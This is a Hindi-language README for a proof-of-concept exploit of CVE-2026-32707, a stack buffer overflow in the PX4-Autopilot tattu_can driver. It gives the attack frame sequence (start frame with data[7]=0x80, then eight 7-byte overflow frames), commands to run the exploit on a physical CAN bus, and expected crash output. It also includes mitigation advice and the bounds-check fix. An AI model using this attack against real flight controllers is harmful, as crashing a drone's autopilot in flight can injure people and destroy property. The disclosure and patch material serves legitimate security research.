
CVE-2026-32707 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, PX4-Autopilot tattu_can ड्राइवर में एक स्टैक बफर ओवरफ्लो, जो क्राफ्टेड CAN फ्रेम के माध्यम से सेवा से इनकार (denial of service) का कारण बनता है।
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
इस रिपॉजिटरी में CVE‑2026‑32707 के लिए एक प्रूफ‑ऑफ‑कॉन्सेप्ट (PoC) एक्सप्लॉइट शामिल है, जो PX4‑Autopilot फ्लाइट कंट्रोलर फर्मवेयर (संस्करण ≤ 1.17.0‑rc1) के tattu_can ड्राइवर में एक स्टैक‑आधारित बफर ओवरफ्लो है। यह कमजोरी मल्टी‑फ्रेम मैसेज असेंबली रूटीन में मौजूद है: जब स्टैक पर Tattu12SBatteryMessage संरचना को पुनः जोड़ा जाता है, तो ड्राइवर बफर आकार (48 बाइट्स) के विरुद्ध संचयी ऑफसेट की जाँच किए बिना असीमित memcpy() ऑपरेशन करता है। एक हमलावर जो उसी बस में CAN फ्रेम इंजेक्ट कर सकता है, ओवरफ्लो को ट्रिगर कर सकता है, जिससे स्टैक भ्रष्टाचार और उसके बाद PX4 प्रक्रिया का क्रैश (सेवा से वंचित) हो सकता है।
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Service
tattu_can ड्राइवर सक्षम है3f04b7a)python-can लाइब्रेरी होCAP_NET_RAW) कच्चे CAN फ्रेम भेजने के लिएcan0 या वर्चुअल vcan0)# रिपॉजिटरी क्लोन करें
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# python-can इंस्टॉल करें
pip3 install python-can
# (वैकल्पिक) परीक्षण के लिए वर्चुअल CAN इंटरफ़ेस बनाएं
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# वर्चुअल CAN इंटरफ़ेस के माध्यम से एक्सप्लॉइट (सिमुलेशन/परीक्षण के लिए)
sudo python3 exploit.py vcan0
# भौतिक CAN बस के माध्यम से एक्सप्लॉइट
sudo python3 exploit.py can0
0x80 पर सेट होता है, जो ड्राइवर को एक नया Tattu12SBatteryMessage असेंबल करना शुरू करने का संकेत देता है और पहले 5 बाइट्स को स्टैक बफर में कॉपी करता है।memcpy() को ट्रिगर करता है जो बफर सीमा से परे लिखता है, जिससे स्टैक फ्रेम भ्रष्ट हो जाता है।[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can ड्राइवर यदि आवश्यक नहीं है (tattu_can stop या बिल्ड से हटाएं)।3f04b7a में बाउंड्स चेक जोड़ा गया):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aयह प्रूफ‑ऑफ‑कॉन्सेप्ट केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक इस कोड के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।